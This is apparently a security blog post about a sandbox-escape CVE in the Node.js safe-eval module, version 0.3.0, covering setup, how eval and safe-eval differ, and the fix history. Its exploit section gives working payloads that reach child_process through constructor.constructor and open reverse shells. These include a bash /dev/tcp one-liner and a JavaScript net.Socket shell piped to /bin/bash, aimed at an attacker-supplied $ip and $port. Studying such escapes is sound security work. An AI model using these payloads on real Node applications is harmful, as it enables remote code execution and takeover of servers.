CVE Detail(Link):
The safe-eval module describes itself as a safer version of eval. By accessing the object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.
Background:
On Mar 3, 2017, Github user “odino” opened a security issue in the safeEval GitHub repository and provide a one-line PoC(Link). The payload is:
var safeEval = require('safe-eval'); safeEval("this.constructor.constructor('return process')().exit()");
Execute the payload above will cause Node to exit the current process. If you run the payload in a Node console in the terminal, it will quit/exit the console. This one-line Poc payload is not particularly interesting and useful. Search over the internet, I am not able to find any exploit that makes use of this CVE. In this blog, I will talk about how to install Node.js and the vulnerable version of safe-eval(0.3.0)
, the difference between eval
and safe-eval
, and provide a few payloads to gain reverse shell.
Setup:
1. Download Node.js installation pack from https://nodejs.org/en/ and install it on the system.
2. Install the vulnerable version of safeEval
by typing npm install safe-eval@0.3.0 --save
in the Terminal.
Regular eval
Before going into safe-eval
, let’s try out regular eval
first:
var user_input = "require('child_process').exec('touch hacked.txt')"; eval(user_input);
Execute code above in the Node console will create a file hacked.txt on the system. In a Node.js web application, if a user has control over the value of the user_input
variable, the user can execute arbitrary code on the application server, which is pretty bad. 🙁
safe-eval
What is safe-eval? According to the README on it’s GitHub repository:
safe-eval
lets you execute JavaScript code without having to use the much discouraged and feared uponeval()
.safe-eval
has access to all the standard APIs of the V8 JavaScript Engine. By default, it does not have access to the Node.js API.
safe-eval
is a safer version of eval
. For example, the input that works with eval
will failed with safe-eval
.
var safeEval = require('safe-eval'); var user_input = "require('child_process').exec('touch hacked.txt')"; safeEval(user_input);
The exploit:
From my understanding, to get around the restrictions imposed by safe-eval
, the goal is to escape the Node.js vm/sandbox. Lots of research has been done in this field, here is a couple of them:
https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af
https://github.com/patriksimek/vm2/issues/32
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
Here are a few payloads to get a reverse shell. You might encounter an error from Node, complaining ReferenceError this
is not defined. Try to replace the keyword this
to Object
, global
or any object you have access to.
Reverse shell payload with the bash-one-line:
safeEval("this.constructor.constructor('return child_process')().exec('bash -i >& /dev/tcp/$ip/$port 0>&1')");
Reverse shell payload with JavaScript:
safeEval("net = this.constructor.constructor('return net')(), sh = this.constructor.constructor('return child_process')().exec('/bin/bash'); client = new net.Socket();client.connect($port, '$ip', function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});");
If require
is not available, to obtain the require
by:
process = this.constructor.constructor('return (function(){return process})()')(); var require = process.mainModule.require;
If you are able to define an arbitrary function in the program:
var context= {world: function () { return child_process.exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'")}} safeEval('{hello: world()}',context)
Fix. Fixed?
The author claims the vulnerability is fixed(Link). However, GitHub user ‘cpcallen’ reply to the GitHub issue about bypass the Fix. (Link) , and NOT so safe eval by ‘ChrisCinelli’. The author has this statement in the safe-eval
repository. Maybe not so safe 🙂 .
UPDATE 27/08/2018: There are still ways to crash the Node process, please use
safe-eval
only with content created by yourself or from trusted sources. User-submitted data should not be run throughsafe-eval
. Thanks @cpcallen for the report.